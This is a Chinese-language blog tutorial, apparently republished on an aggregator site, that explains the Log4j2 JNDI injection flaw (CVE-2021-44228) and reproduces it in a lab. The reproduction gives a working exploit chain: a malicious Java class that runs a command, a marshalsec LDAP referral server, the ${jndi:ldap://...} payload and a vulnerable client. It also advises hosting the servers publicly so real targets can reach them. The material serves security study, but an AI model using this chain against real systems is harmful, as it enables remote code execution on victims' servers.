log4j2漏洞原理和漏洞环境搭建复现

这篇具有很好参考价值的文章主要介绍了log4j2漏洞原理和漏洞环境搭建复现。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

目录

1.背景

1.1影响版本

2.漏洞原理

2.1JNDI是什么

2.2LDAP是什么

2.3JNDI注入原因

2.4 log4j2是什么

3.漏洞复现

3.1准备工作

3.1.1准备恶意代码

3.1.2将恶意代码放到网站目录下

3.1.3 LDAP服务器端

3.1.4客户端搭建

3.1.5 执行代码

 4.注意事项

1.背景

部分资源在文章最后百度网盘

2021年11月24日,阿里云安全团队向Apache官方报告了Apache Log4j2远程代码执行漏洞。由于Apache Log4j2某些功能存在递归解析功能,攻击者可直接构造恶意请求,触发远程代码执行漏洞。漏洞利用无需特殊配置,经阿里云安全团队验证,Apache Struts2、Apache Solr、Apache Druid、Apache Flink等均受影响。阿里云应急响应中心提醒 Apache Log4j2 用户尽快采取安全措施阻止漏洞攻击。

log4j2远程代码执行漏洞主要由于存在JNDI注入漏洞,黑客可以恶意构造特殊数据请求包,触发此漏洞,从而成功利用此漏洞可以在目标服务器上执行任意代码。注意,此漏洞是可以执行任意代码,这就很恐怖,相当于黑客已经攻入计算机,可以为所欲为了,就像已经进入你家,想干什么,就干什么,比如运行什么程序,植入什么病毒,变成他的肉鸡。

1.1影响版本

Log4j2.x<=2.14.1

2.漏洞原理

我们在很多漏洞复现文章看到构造的payload是这样的${jndi:ldap://xxx.xxx.xxx.xxx:1389/Ex},很多时候看不懂为什么要这样构造,最起码我在学习这个漏洞的时候我是不知道为什么这样构造payload。如果你刚接触安全不久,我相信你也会有这样的疑惑,那么下面我就用我的理解解释一下,大家参考,不一定全部都是对的。

2.1JNDI是什么

JNDI全称是Java Naming and Directory Interface(java命名和目录接口)JNDI是Java平台的一个标准扩展,提供了一组接口、类和关于命名空间的概念。如同其它很多Java技术一样,JDNI是provider-based的技术,暴露了一个API和一个服务供应接口(SPI)。这意味着任何基于名字的技术都能通过JNDI而提供服务,只要JNDI支持这项技术。JNDI目前所支持的技术包括LDAP、CORBA Common Object Service(COS)名字服务、RMI、NDS、DNS、Windows注册表等等。很多J2EE技术,包括EJB都依靠JNDI来组织和定位实体。
我简单说一下它就像一个映射关系库,里面有很多资源,每个资源对应一个名字,当我查看这个名字时候,就会提供对应资源。将资源和名字进行了一对一映射。一些基本操作,发布服务bind(),查找服务lookup()。

2.2LDAP是什么

LDAP全称是Lightweight Directory Access Protocol( 轻型目录访问协议),LDAP可以理解是一个简单存储数据的数据库,不过它是树状结构的,树形结构存储数据,查询效率更高。如果你想找到一个苹果,需要跟园丁说那个树,经过那些分叉以及苹果名字。有的时候分叉不止一个。

树(dc=ljheee)
分叉(ou=bei,ou=xi,ou= dong)
苹果(cn=redApple)

LDAP有一个客户端和服务器端,server端是用来存放资源,client端主要用于查询等操作。服务端都是有各大厂商的产品的比如Microsoft的AD,当然可以自己做。我们通过LDAP协议去访问。

所以上述的payload ${jndi:ldap://xxx.xxx.xxx.xxx:1389/Ex}就相当于ldap通过jndi来提供服务。xxx.xxx.xxx.xxx这个是你LDAP服务器端的IP地址,LDAP服务器是默认开启1389端口的,EX是一个不存在的文件名

2.3JNDI注入原因

第一个是由于JNDI的动态协议转换,即使初始化的context指定了协议,也会根据URL传入的参数来转换协议。

其实就是说即使提前配置了Context.PROVIDER_URL属性,当我们调用lookup()方法时,如果lookup方法的参数是一个url地址,那么客户端就会去lookup()方法参数指定的uri中加载远程对象,而不是去Context.PROVIDER_URL设置的地址去加载对象。

正是因为有这个特性,才导致当lookup()方法的参数可控时,攻击者可以通过提供一个恶意的url地址来控制受害者加载攻击者指定的恶意类。

第二个是由于JNDI Naming Reference,Reference类表示对存在于命名/目录系统以外的对象的引用。如果远程获取 LDAP 服务上的对象为 Reference 类或者其子类,则在客户端获取到远程对象存根实例时,可以从其他服务器上加载 class 文件来进行实例化。

其实可以简单理解为我这LDAP存储空间有限,我把多余的数据放在我的一个web网站里面,可以通过url地址进行引用,查询的数据如果我自己数据库里面没有,我就会自动去我这个指定的地址在web网站查找指定资源。

2.4 log4j2是什么

Apache Log4j2是一个基于Java的日志记录工具,该工具重写了Log4j框架,并且引入了大量丰富的特性,Apache log4j2是Log4j的升级版,这个日志框架被大量用于业务系统开发,用来记录日志信息。在大多数情况下,开发者可能会将用户输入导致的错误信息写入日志中,以便开发人员记录原因。

不知道说到这个地方有没有懂这个payload的原因,当我们在任何输入框里面输入这个payload,那么log4j2就会将我们的输入的信息记录到日志中,在记录日志的时候会间接的调用log4j2 的 MessagePatternConverter 组件中的 format 方法。该方法会截取美元符和花括号之间的字符串,将该字符作为查找对象的条件。如果字符是 jndi:ldap 这样的协议格式则进行jndi方式的 ldap  调用。通过JNDI这个接口传入一个可控参数,因为JNDI动态协议转换,所以我们传入ldap协议,就会自动换成这个协议,然后调用lookup去LDAP服务器端去获取一个不存在的资源,因为这个资源不存在,且支持JNDI Naming Reference,那么LDAP就会去他指定的一个url去动态加载。如果加载的这个资源里面包含无参构造函数或者静态方法那么代码就会被执行。

3.漏洞复现

3.1准备工作

3.1.1准备恶意代码

准备一个编译好的恶意代码,java代码都需要编译的,代码里面有无参函数或者静态方法,因为我们需要代码能够执行,代码如下,将编译好的文件放到你的网站目录下

public class Exploit {
    static {
        try {
            System.out.println("执行漏洞代码1");
            String cmd = "calc";

            Runtime.getRuntime().exec(cmd);
            System.out.println("执行漏洞代码2");
        } catch ( Exception e ) {
            e.printStackTrace();
        }
    }
    public static void main(String[] args) {
        new Exploit();
    }
}
#恶意的Exploit代码,功能打开电脑的计算器。

3.1.2将恶意代码放到网站目录下

这里以我自己为例我是直接放在我的服务器端的,也可以在虚拟机或者物理机开启http服务。然后通过python3去开启一个http服务。你需要自己去下载python3,然后配置环境,自己去网上找教程。默认端口是8000,这个可以自己改。 

 python3 -m http.server

log4j2漏洞原理和漏洞环境搭建复现

3.1.3 LDAP服务器端

这里我是直接用的marshalsec,自己去百度如何下载安装配置,它可以很容易让我们搭建一个LDAP服务器端,命令如下

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8000/#Exploit"
#当查询资源不存在就去http://127.0.0.1:8000/#Exploit这个地址访问Exploit

因为我的恶意代码和我的LDAP服务端都安装在我的服务器所以地址是127.0.0.1,如果不在一起对应的地址是你开启http服务的IP地址。代码需要进入到marshalsec/target下面去执行。这样就会监听1389端口,因为LDAP默认是1389端口访问。

log4j2漏洞原理和漏洞环境搭建复现

3.1.4客户端搭建

首先需要下载一个IDEA软件,它是运行java代码,自己去找教程,jdk最好是小于1.8.191的,可以新建java项目,会自动出现pom.xml文件,在里面引入log4j2依赖包,不会使用IDEA就找度娘,代码如下

<dependencies>
        <dependency>
            <groupId>org.apache.logging.log4j</groupId>
            <artifactId>log4j-core</artifactId>
            <version>2.12.1</version>
        </dependency>
        <!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-api -->
        <dependency>
            <groupId>org.apache.logging.log4j</groupId>
            <artifactId>log4j-api</artifactId>
            <version>2.12.1</version>
        </dependency>
        <dependency>
            <groupId>org.apache.logging.log4j</groupId>
            <artifactId>log4j-1.2-api</artifactId>
            <version>2.12.1</version>
        </dependency>

    </dependencies>

log4j2漏洞原理和漏洞环境搭建复现

 客户端代码

import org.apache.logging.log4j.Logger;
import org.apache.logging.log4j.LogManager;


public class log4jRCE {
    private static final Logger logger = LogManager.getLogger(log4jRCE.class);
    public static void main(String[] args) {
        System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
        logger.error("${jndi:ldap://xxx.xx.xx.x:1389/Ex}");
    }
}

log4j2漏洞原理和漏洞环境搭建复现

3.1.5 执行代码

在log4jRCE.java这个文件右击点击运行,就会弹出计算器。漏洞成功复现

log4j2漏洞原理和漏洞环境搭建复现

 4.注意事项

  • 不同的 JDK 对于com.sun.jndi.ldap.object.trustURLCodebase的默认值不一样,所以为了测试统一设置成true 便于触发。
  • 不同的 JDK 版本的默认值可能导致这个 bug 不会被触发。 

这里解释一下为什么搭建LDAP服务最好在服务器,因为在现实生活中,目标机是没有办法和我们攻击相通的大家都在一个不同局域网,但是一般可以访问公网的。所以需要将东西搭建的公网上。这样当我们在输入框输入我们的payload 就可以实现攻击。

大家可以在我的log4j2百度网盘里面有一些资源,如果你客户端不会自己弄,自己下载log4j-rec文件打开就行。

链接:https://pan.baidu.com/s/1VF8K1kFqwGgSN9jVq-EpOQ 
提取码:ftwq 

log4j2漏洞原理和漏洞环境搭建复现文章来源地址https://www.toymoban.com/news/detail-450941.html

到了这里,关于log4j2漏洞原理和漏洞环境搭建复现的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 复现CVE-2021-44228-Apache Log4j2远程代码执行漏洞

    复现CVE-2021-44228-Apache Log4j2远程代码执行漏洞 目录 前言 漏洞原理 影响范围 环境搭建漏洞复现 使用工具JNDIExploit-1.2-SNAPSHOT.jar 近期Apache Log4j2被暴露了一个严重的远程代码执行安全漏洞(CVE-2021-44228),有严重的安全风险。Apache Log4j2是一款优秀的Java日志框架, 被广泛地应用在

    2024年02月05日
    浏览(29)
  • log4j2漏洞CVE-2021-44228复现笔记(纯步骤过程,没有复杂的知识点)

    前言: Apache Log4j 2 是对 Log4j 的升级,它比其前身 Log4j 1.x 提供了显着改进,并提供了 Logback 中可用的许多改进,同时修复了 Logback 架构中的一些固有问题。 2021 年 12 月,在 Apache Log4j2 中发现了一个 0-day 漏洞。Log4j 的 JNDI 支持并没有限制可以解析的名称。一些协议像rmi:和ld

    2024年02月12日
    浏览(31)
  • Log4j2注入漏洞(CVE-2021-44228)万字深度剖析(二)—漏洞原理

    2.15.0之前版漏洞相关文章 Log4j2注入漏洞(CVE-2021-44228)万字深度剖析(一)—开篇与基础知识 Log4j2注入漏洞(CVE-2021-44228)万字深度剖析(二)—漏洞原理 Log4j2注入漏洞(CVE-2021-44228)万字深度剖析(三)—复现步骤(攻击方法) Log4j2注入漏洞(CVE-2021-44228)万字深度剖析(四)—漏洞修复原理 2.15.

    2024年02月07日
    浏览(40)
  • log4j2漏洞分析

    和前面的JNDI注入时用的代码差不多 如果要引入log4j2的jar包可以这么配置Maven的pom.xml 还要创建个配置文件 log4j2这个漏洞当时爆出来的时候堪称是核弹级别的,危害非常大,利用还非常简单,既然如此,那我们肯定要分析一下漏洞相关的原理来学习一下 这个漏洞是个JNDI注入漏

    2024年02月09日
    浏览(37)
  • Java代码审计15之Apache log4j2漏洞

    2.1、高版本测试 先说结论,ldap协议, rmi协议 还有就是“ “${jndi:rmi://127.0.0.1:7778/exp}” ” 2.2、测试代码 先引入组件, main.java jndiexp.java 2.3、补充之dns探测 2.3.1、rmi、ldap也可以dnslog探测 在使用dnslog探测漏洞的时候, 其实不仅仅dns协议可以,ldap和rmi协议也可以, 类似的rmi,

    2024年02月10日
    浏览(30)
  • Log4j反序列化命令执行漏洞(CVE-2017-5645)&Apache Log4j2 lookup JNDI 注入漏洞(CVE-2021-44228)

    Apache Log4j是一个用于Java的日志记录库,其支持启动远程日志服务器。Apache Log4j 2.8.2之前的2.x版本中存在安全漏洞。攻击者可利用该漏洞执行任意代码 环境:vulhub 工具下载地址: ysoserial 利用工具生成payload: 1.创建文件 进入容器内部,查看文件创建成功 2.查看反弹的shell 有点

    2024年02月11日
    浏览(34)
  • Log4j2的Configuration详解

    官方配置文档: https://logging.apache.org/log4j/2.x/manual/filters.html 根节点 Configuration 参数介绍: Attribute Name Description name The name of the configuration. monitorInterval Log4j has the ability to automatically detect changes to the configuration file and reconfigure itself。 即动态加载,单位是秒。可自定义配置,最小

    2023年04月09日
    浏览(29)
  • 【springboot】--集成log4j2日志功能

    springboot2.0版本默认集成logback日志框架,由于项目业务采集各种日志(系统日志、接口调用日志、业务日志)等,需要做一些定制化的业务。为了,这里介绍如何集成log4j2,按照规格输出日志,另外按照要求输出成文件。下面将具体介绍! pom引入

    2024年02月12日
    浏览(50)
  • Spring6入门 + Log4j2

    JDK:Java17+ (Spring6要求JDK最低版本是Java17) Maven:3.6+ Spring:6.0.2 (1)构建父模块spring6 在idea中,依次单击 File - New - Project - New Project 点击“Create”,删除src目录,准备创建子工程 (2)构建子模块spring6-first 点击 Create 完成 3.1、引入依赖 https://spring.io/projects/spring-framework#le

    2024年02月07日
    浏览(27)
  • springboot 日志管理之 log4j2

    1、log4j2 简介         Apache Log4j2是对Log4j的升级,它比其前身Log4j 1.x提供了重大改进,并提供了Logback中可用的许多改进,同时修复了Logback架构中的一些问题。 被誉为是目前最优秀的Java日志框架。 2、项中引入 log4j2 的方式 2.1、springboot 项目中 2.2、普通 java 项目中 3、在项

    2024年01月15日
    浏览(36)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包